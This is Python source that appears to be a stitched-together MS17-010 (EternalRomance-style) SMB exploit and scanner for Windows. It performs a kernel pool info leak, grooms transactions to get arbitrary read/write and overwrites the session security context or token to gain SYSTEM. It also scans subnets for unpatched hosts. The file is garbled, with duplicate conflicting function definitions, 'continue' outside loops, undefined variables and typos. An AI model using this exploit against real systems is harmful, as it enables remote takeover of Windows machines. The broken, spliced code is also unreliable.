def leak_frag_size(conn, tid, fid):
# this method can be used on Windows Vista/2008 and later
# leak "Frag" pool size and determine target architecture
info = {}
# A "Frag" pool is placed after the large pool allocation if last page has some free space left.
# A "Frag" pool size (on 64-bit) is 0x10 or 0x20 depended on Windows version.
# To make exploit more generic, exploit does info leak to find a "Frag" pool size.
# From the leak info, we can determine the target architecture too.
mid = conn.next_mid()
req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-TRANS_NAME_LEN)
req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes
conn.send_raw(req1[:-8])
conn.send_raw(req1[-8:]+req2)
leakData = conn.recv_transaction_data(mid, 0x10d0+276)
leakData = leakData[0x10d4:] # skip parameters and its own input
# Detect target architecture and calculate frag pool size
if leakData[X86_INFO['FRAG_TAG_OFFSET']:X86_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
logger.blue('Architecture: [{}]'.format(logger.BLUE('32 bit')))
info['arch'] = 'x86'
info['FRAG_POOL_SIZE'] = ord(leakData[ X86_INFO['FRAG_TAG_OFFSET']-2 ]) * X86_INFO['POOL_ALIGN']
elif leakData[X64_INFO['FRAG_TAG_OFFSET']:X64_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
logger.blue('Architecture: [{}]'.format(logger.BLUE('64 bit')))
info['arch'] = 'x64'
info['FRAG_POOL_SIZE'] = ord(leakData[ X64_INFO['FRAG_TAG_OFFSET']-2 ]) * X64_INFO['POOL_ALIGN']
else:
logger.red('Could not find Frag pool tag in leak data')
sys.exit()
logger.blue('Frag size: 0x{:x}'.format(info['FRAG_POOL_SIZE']))
return info
def worawit(target):
try:
logger.blue('Connecting to: [{}]'.format(logger.BLUE(target)))
try:
conn = MYSMB(target, timeout=5)
except:
logger.red('Failed to connect to [{}]'.format(logger.RED(target)))
return False
try:
conn.login(USERNAME, PASSWORD)
except:
logger.red('Authentication failed: [{}]'.format(logger.RED(nt_errors.ERROR_MESSAGES[e.error_code][0])))
quit()
finally:
logger.blue('Got OS: [{}]'.format(logger.BLUE(conn.get_server_os())))
tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$')
conn.set_default_tid(tid)
# test if target is vulnerable
TRANS_PEEK_NMPIPE = 0x23
recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE), maxParameterCount=0xffff, maxDataCount=0x800)
status = recvPkt.getNTStatus()
if status == 0xC0000205: # STATUS_INSUFF_SERVER_RESOURCES
logger.green('[{}] IS NOT PATCHED!'.format(logger.GREEN(target)))
else:
logger.red('[{}] IS PATCHED!'.format(logger.RED(target)))
quit()
logger.blue('Checking named pipes...')
for pipe_name, pipe_uuid in pipes.items():
try:
dce = conn.get_dce_rpc(pipe_name)
dce.connect()
try:
dce.bind(pipe_uuid, transfer_syntax=NDR64Syntax)
logger.green('\t-\t{}: OK (64 bit)'.format(logger.GREEN(pipe_name)))
except DCERPCException as e:
if 'transfer_syntaxes_not_supported' in str(e):
logger.green('\t-\t{}: OK (32 bit)'.format(logger.GREEN(pipe_name)))
else:
logger.green('\t-\t{}: OK ({})'.format(logger.GREEN(pipe_name), str(e)))
dce.disconnect()
except smb.SessionError as e:
logger.red('{}: {}'.format(logger.RED(pipe_name), logger.RED(nt_errors.ERROR_MESSAGES[e.error_code][0])))
except smbconnection.SessionError as e:
logger.red('{}: {}'.format(logger.RED(pipe_name), logger.RED(nt_errors.ERROR_MESSAGES[e.error][0])))
conn.disconnect_tree(tid)
conn.logoff()
conn.get_socket().close()
except (KeyboardInterrupt, SystemExit):
logger.red('Keyboard interrupt received..')
quit()
def worawit():
target = args.target
logger.blue('Connecting to: [{}]'.format(logger.BLUE(args.target)))
if args.pipe:
pipe_name = args.pipe
logger.blue('Using specified pipe: [{}]'.format(logger.BLUE(args.pipe)))
else:
pipe_name = None
try:
exploit(target, pipe_name)
logger.green('FINISHED!')
except:
logger.red('Could not connect to: [{}]'.format(logger.RED(target)))
def get_targets(targets):
# parses an input of targets to get a list of all possible ips
target_list = []
try:
with open(targets, 'r') as file:
contents = file.readlines()
for i in (contents):
target = i.rstrip()
target_list.append(target)
logger.verbose('Amount of targets from input: {}'.format(logger.BLUE(str(len(target_list)))))
return target_list
except:
try:
if "/" in targets:
try:
subnet = IPNetwork(targets)
except:
logger.red('failed to parse')
quit()
for i in subnet:
tmp_str = str(i)
last_octet = str(tmp_str.split('.')[3])
if last_octet == '0' or last_octet == '255':
pass
else:
target_list.append(str(i))
logger.verbose('Amount of targets from input: {}'.format(logger.BLUE(str(len(target_list)))))
return target_list
elif "," in targets:
ips=targets.split(',')
for ip in ips:
target_list.append(ip)
logger.verbose('Amount of targets from input: {}'.format(logger.BLUE(str(len(target_list)))))
return target_list
else:
target_list.append(targets)
logger.verbose('Amount of targets from input: {}'.format(logger.BLUE(str(len(target_list)))))
return target_list
except:
logger.red('Failed to parse targets.')
quit()
def checker(host):
try:
conn = MYSMB(host)
try:
conn.login(USERNAME, PASSWORD)
except smb.SessionError as e:
logger.error('LOGIN FAILED: ' +
nt_errors.ERROR_MESSAGES[e.error_code][0])
sys.exit()
finally:
logger.info('CONNECTED TO {}'.format(logger.BLUE(host)))
logger.info('TARGET OS: ' + conn.get_server_os())
tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$')
conn.set_default_tid(tid)
# test if target is vulnerable
TRANS_PEEK_NMPIPE = 0x23
recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE),
maxParameterCount=0xffff,
maxDataCount=0x800)
status = recvPkt.getNTStatus()
if status == 0xC0000205: # STATUS_INSUFF_SERVER_RESOURCES
logger.success('{} IS NOT PATCHED!'.format(logger.GREEN(target)))
else:
logger.error('{} IS PATCHED!'.format(target))
sys.exit()
logger.action('CHECKING NAMED PIPES...')
for pipe_name, pipe_uuid in pipes.items():
try:
dce = conn.get_dce_rpc(pipe_name)
dce.connect()
try:
dce.bind(pipe_uuid, transfer_syntax=NDR64Syntax)
logger.success('{}: OK (64 bit)'.format(pipe_name))
except DCERPCException as e:
if 'transfer_syntaxes_not_supported' in str(e):
logger.success('{}: OK (32 bit)'.format(pipe_name))
else:
logger.success('{}: OK ({})'.format(pipe_name, str(e)))
dce.disconnect()
except smb.SessionError as e:
logger.error('{}: {}'.format(
pipe_name, nt_errors.ERROR_MESSAGES[e.error_code][0]))
except smbconnection.SessionError as e:
logger.error('{}: {}'.format(
pipe_name, nt_errors.ERROR_MESSAGES[e.error][0]))
conn.disconnect_tree(tid)
conn.logoff()
conn.get_socket().close()
except:
logger.error('COULD NOT CONNECT TO {}'.format(logger.RED(host)))
def run():
target = args.target
if args.user:
if args.password == None:
logger.red('Please specify username and password')
quit()
else:
username = args.user
password = args.password
else:
username = ''
if args.password:
if args.user == None:
logger.red('Please specify username and password')
quit()
else:
username = args.user
password = args.password
else:
password = ''
if args.domain:
domain = args.domain
else:
domain = ''
if args.pipe:
pipe_name = args.pipe
logger.blue('Using specified pipe: [{}]'.format(logger.BLUE(args.pipe)))
else:
pipe_name = None
try:
result = exploit(target,username,password,pipe_name)
except Exception as e:
logger.red(str(e))
quit()
if result:
logger.green('Exploit finished!')
else:
logger.red('Failed to finish exploit')
def exploit(target, pipe_name):
conn = MYSMB(target)
# set NODELAY to make exploit much faster
conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
info = {}
conn.login(USERNAME, PASSWORD, maxBufferSize=4356)
server_os = conn.get_server_os()
logger.blue('OS: {}'.format(logger.BLUE(server_os)))
if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"):
info['os'] = 'WIN7'
info['method'] = exploit_matched_pairs
elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 ") or server_os.startswith("Windows 10") or server_os.startswith("Windows RT 9200"):
info['os'] = 'WIN8'
info['method'] = exploit_matched_pairs
elif server_os.startswith("Windows Server (R) 2008") or server_os.startswith("Windows Vista") or server_os.startswith("Windows (R) Web Server 2008"):
info['os'] = 'WIN7'
info['method'] = exploit_fish_barrel
elif server_os.startswith("Windows Server 2003 "):
info['os'] = 'WIN2K3'
info['method'] = exploit_fish_barrel
elif server_os.startswith("Windows 5.1"):
info['os'] = 'WINXP'
info['arch'] = 'x86'
info['method'] = exploit_fish_barrel
elif server_os.startswith("Windows XP "):
info['os'] = 'WINXP'
info['arch'] = 'x64'
info['method'] = exploit_fish_barrel
elif server_os.startswith("Windows 5.0"):
info['os'] = 'WIN2K'
info['arch'] = 'x86'
info['method'] = exploit_fish_barrel
else:
logger.red('Target isnt supported...')
quit()
if pipe_name is None:
pipe_name = find_named_pipe(conn)
if pipe_name is None:
logger.red('Couldnt get named pipe...')
return False
logger.green('Using pipe: [{}]'.format(pipe_name))
if not info['method'](conn, pipe_name, info):
return False
# Now, read_data() and write_data() can be used for arbitrary read and write.
# ================================
# Modify this SMB session to be SYSTEM
# ================================
fmt = info['PTR_FMT']
logger.blue('Creating SYSTEM Session')
# IsNullSession = 0, IsAdmin = 1
write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01')
# read session struct to get SecurityContext address
sessionData = read_data(conn, info, info['session'], 0x100)
secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0]
if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
# Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation
# Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is
# much more difficult because data offset in ETHREAD/EPROCESS is different between service pack.
# find the token and modify it
if 'SECCTX_PCTXTHANDLE_OFFSET' in info:
pctxtDataInfo = read_data(conn, info, secCtxAddr+info['SECCTX_PCTXTHANDLE_OFFSET'], 8)
pctxtDataAddr = unpack_from('<'+fmt, pctxtDataInfo)[0]
else:
pctxtDataAddr = secCtxAddr
tokenAddrInfo = read_data(conn, info, pctxtDataAddr+info['PCTXTHANDLE_TOKEN_OFFSET'], 8)
tokenAddr = unpack_from('<'+fmt, tokenAddrInfo)[0]
logger.blue('Current Token Addr: 0x{:x}'.format(tokenAddr))
# copy Token data for restoration
tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE'])
# parse necessary data out of token
userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset = get_group_data_from_token(info, tokenData)
logger.blue('Overwriting Token [UserAndGroups]')
# modify UserAndGroups info
fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr)
if fakeUserAndGroupCount != userAndGroupCount:
write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', fakeUserAndGroupCount))
write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
else:
# the target can use PsImperonateClient for impersonation (Windows 2008 and later)
# copy SecurityContext for restoration
secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE'])
logger.blue('Overwriting session security context')
# see FAKE_SECCTX detail at top of the file
write_data(conn, info, secCtxAddr, info['FAKE_SECCTX'])
# ================================
# do whatever we want as SYSTEM over this SMB connection
# ================================
# try:
smb_pwn(conn, info['arch'])
# except:
# pass
# restore SecurityContext/Token
if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
userAndGroupsOffset = userAndGroupsAddr - tokenAddr
write_data(conn, info, userAndGroupsAddr, tokenData[userAndGroupsOffset:userAndGroupsOffset+len(fakeUserAndGroups)])
if fakeUserAndGroupCount != userAndGroupCount:
write_data(conn, info, tokenAddr+userAndGroupCountOffset, pack('<I', userAndGroupCount))
else:
write_data(conn, info, secCtxAddr, secCtxData)
conn.disconnect_tree(conn.get_tid())
conn.logoff()
conn.get_socket().close()
return True
def exploit_matched_pairs(conn, pipe_name, info):
# for Windows 7/2008 R2 and later
tree_connect_andx='\\\\'+conn.get_remote_host()+'\\'+'IPC$'
logger.blue('Connecting to {}'.format(logger.BLUE(tree_connect_andx)))
tid = conn.tree_connect_andx(tree_connect_andx)
logger.blue('Starting exploit!')
# tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
conn.set_default_tid(tid)
# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
fid = conn.nt_create_andx(tid, pipe_name)
info.update(leak_frag_size(conn, tid, fid))
# add os and arch specific exploit info
info.update(OS_ARCH_INFO[info['os']][info['arch']])
# groom: srv buffer header
info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN'])
logger.blue('GROOM_POOL_SIZE: 0x{:x}'.format(info['GROOM_POOL_SIZE']))
# groom paramters and data is alignment by 8 because it is NT_TRANS
info['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - TRANS_NAME_LEN - 4 - info['TRANS_SIZE'] # alignment (4)
# bride: srv buffer header, pool header (same as pool align size), empty transaction name (4)
bridePoolSize = 0x1000 - (info['GROOM_POOL_SIZE'] & 0xfff) - info['FRAG_POOL_SIZE']
info['BRIDE_TRANS_SIZE'] = bridePoolSize - (info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'])
logger.blue('BRIDE_TRANS_SIZE: 0x{:x}'.format(info['BRIDE_TRANS_SIZE']))
# bride paramters and data is alignment by 4 because it is TRANS
info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - TRANS_NAME_LEN - info['TRANS_SIZE']
# try align pagedpool and leak info until satisfy
# ================================
leakInfo = None
# max attempt: 10
for i in range(10):
reset_extra_mid(conn)
leakInfo = align_transaction_and_leak(conn, tid, fid, info)
if leakInfo is not None:
break
logger.red('Leak failed! Retrying...')
conn.close(tid, fid)
conn.disconnect_tree(tid)
tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
conn.set_default_tid(tid)
fid = conn.nt_create_andx(tid, pipe_name)
if leakInfo is None:
return False
info['fid'] = fid
info.update(leakInfo)
# ================================
# shift transGroom.Indata ptr with SmbWriteAndX
# ================================
shift_indata_byte = 0x200
conn.do_write_andx_raw_pipe(fid, 'A'*shift_indata_byte)
# Note: Even the distance between bride transaction is exactly what we want, the groom transaction might be in a wrong place.
# So the below operation is still dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
# maxParameterCount (0x1000), trans name (4), param (4)
indata_value = info['next_page_addr'] + info['TRANS_SIZE'] + 8 + info['SRV_BUFHDR_SIZE'] + 0x1000 + shift_indata_byte
indata_next_trans_displacement = info['trans2_addr'] - indata_value
conn.send_nt_trans_secondary(mid=fid, data='\x00', dataDisplacement=indata_next_trans_displacement + info['TRANS_MID_OFFSET'])
wait_for_request_processed(conn)
# if the overwritten is correct, a modified transaction mid should be special_mid now.
# a new transaction with special_mid should be error.
recvPkt = conn.send_nt_trans(5, mid=special_mid, param=pack('<HH', fid, 0), data='')
if recvPkt.getNTStatus() != 0x10002: # invalid SMB
logger.red('Unexpected return status: [0x{:x}]'.format(recvPkt.getNTStatus()))
logger.red('Written to wrong place')
logger.red('Target may have crashed...')
return False
logger.green('Successfully controlled the Groom Transaction')
# NSA exploit set refCnt on leaked transaction to very large number for reading data repeatly
# but this method make the transation never get freed
# I will avoid memory leak
# ================================
# modify trans1 struct to be used for arbitrary read/write
# ================================
logger.blue('Modifying Trans1 Struct for Read/Write')
fmt = info['PTR_FMT']
# use transGroom to modify trans2.InData to &trans1. so we can modify trans1 with trans2 data
conn.send_nt_trans_secondary(mid=fid, data=pack('<'+fmt, info['trans1_addr']), dataDisplacement=indata_next_trans_displacement + info['TRANS_INDATA_OFFSET'])
wait_for_request_processed(conn)
# modify
# - trans1.InParameter to &trans1. so we can modify trans1 struct with itself (trans1 param)
# - trans1.InData to &trans2. so we can modify trans2 with trans1 data
conn.send_nt_trans_secondary(mid=special_mid, data=pack('<'+fmt*3, info['trans1_addr'], info['trans1_addr']+0x200, info['trans2_addr']), dataDisplacement=info['TRANS_INPARAM_OFFSET'])
wait_for_request_processed(conn)
# modify trans2.mid
info['trans2_mid'] = conn.next_mid()
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
return True
def run(target):
try:
try:
logger.verbose('Attempting to connect to %s' % logger.BLUE(target))
conn = MYSMB(target, timeout=5)
logger.verbose('Successfully connected to %s' %
logger.BLUE(target))
except Exception as e:
logger.red('Failed to connect to [{}]'.format(logger.RED(target)))
logger.verbose('Got error whilst connecting: %s' %
logger.BLUE(str(e)))
return False
try:
# login(self, user, password, domain='', lmhash='', nthash='', ntlm_fallback=True, maxBufferSize=None)
# can add passthehash at some point
logger.verbose('Attempting to authenticate to %s' %
logger.BLUE(target))
conn.login(username, password, domain)
logger.verbose('Successfully authenticated to %s' %
logger.BLUE(target))
except Exception as e:
logger.red('Failed to authenticate to [{}]'.format(
logger.RED(target)))
return False
try:
logger.verbose('Attempting to get OS for %s' % logger.BLUE(target))
OS = conn.get_server_os()
logger.verbose('Got Operting System: %s' % logger.BLUE(OS))
except Exception as e:
logger.verbose('Got error whilst getting Operting System: %s' %
logger.BLUE(str(e)))
logger.red('Failed to obtain operating system')
try:
tree_connect_andx = '\\\\' + target + '\\' + 'IPC$'
logger.verbose('Attempting to connect to %s' %
logger.BLUE(tree_connect_andx))
tid = conn.tree_connect_andx(tree_connect_andx)
conn.set_default_tid(tid)
logger.verbose('Successfully connected to %s' %
logger.BLUE(tree_connect_andx))
except Exception as e:
logger.verbose('Got error whilst connecting to %s: %s' %
(tree_connect_andx, logger.BLUE(str(e))))
return False
# test if target is vulnerable
logger.verbose('Testing if %s is vulnerable...' % logger.BLUE(target))
try:
TRANS_PEEK_NMPIPE = 0x23
recvPkt = conn.send_trans(pack('<H', TRANS_PEEK_NMPIPE),
maxParameterCount=0xffff,
maxDataCount=0x800)
status = recvPkt.getNTStatus()
if status == 0xC0000205: # STATUS_INSUFF_SERVER_RESOURCES
logger.green('[%s] VULNERABLE' % logger.GREEN(target))
vulnerable[target] = []
else:
logger.red('[%s] PATCHED' % logger.RED(target))
except Exception as e:
logger.verbose(
'Got error whilst checking vulnerability status %s' %
logger.BLUE(str(e)))
return Falses
pipes_found = []
if target in vulnerable:
logger.verbose('Checking pipes on %s' % logger.BLUE(target))
for pipe_name, pipe_uuid in pipes.items():
try:
dce = conn.get_dce_rpc(pipe_name)
dce.connect()
try:
dce.bind(pipe_uuid, transfer_syntax=NDR64Syntax)
try:
pipes_found.append(pipe_name)
except Exception as e:
logger.verbose(
'Got error whilst appending pipe to list %s' %
logger.BLUE(str(e)))
pass
except DCERPCException as e:
logger.verbose('Got error whilst binding to rpc: %s' %
logger.BLUE(str(e)))
if 'transfer_syntaxes_not_supported' in str(e):
try:
pipes_found.append(pipe_name)
except Exception as e:
logger.verbose(
'Got error whilst appending pipe to list %s (transfer_syntaxes_not_supported)'
% logger.BLUE(str(e)))
pass
else:
try:
pipes_found.append(pipe_name)
except Exception as e:
logger.verbose(
'Got error whilst appending pipe to list %s !(transfer_syntaxes_not_supported)'
% logger.BLUE(str(e)))
pass
except Exception as e:
logger.verbose('Got error whilst binding to rpc: %s' %
logger.BLUE(str(e)))
pass
finally:
dce.disconnect()
vulnerable[target] = pipes_found
except smb.SessionError as e:
logger.verbose(
'Got SMB Session error whilst connecting %s' %
logger.BLUE(str(e)))
continue
except smbconnection.SessionError as e:
logger.verbose(
'Got SMB Session error whilst connecting %s' %
logger.BLUE(str(e)))
continue
except Exception as e:
logger.verbose(
'Got SMB Session error whilst connecting %s' %
logger.BLUE(str(e)))
continue
try:
conn.disconnect_tree(tid)
conn.logoff()
conn.get_socket().close()
except Exception as e:
logger.verbose('Got error whilst disconnecting from rpc %s' %
logger.BLUE(str(e)))
pass
except KeyboardInterrupt:
logger.red('Keyboard interrupt received..')
quit()
conn.get_socket().close()
except Exception as e:
logger.verbose('Got error whilst disconnecting from rpc %s' %
logger.BLUE(str(e)))
pass
except KeyboardInterrupt:
logger.red('Keyboard interrupt received..')
quit()
def do_scan(targets):
for target in targets:
run(target)
banner.show('checker')
t = args.targets
targets = get_targets(t)
if len(targets) == 1:
logger.verbose_switch = True
do_scan(targets)
print('')
if len(vulnerable) == 0:
print(logger.RED('No vulnerable hosts found'))
else:
print(logger.BLUE('Results:'))
logger.dump(vulnerable)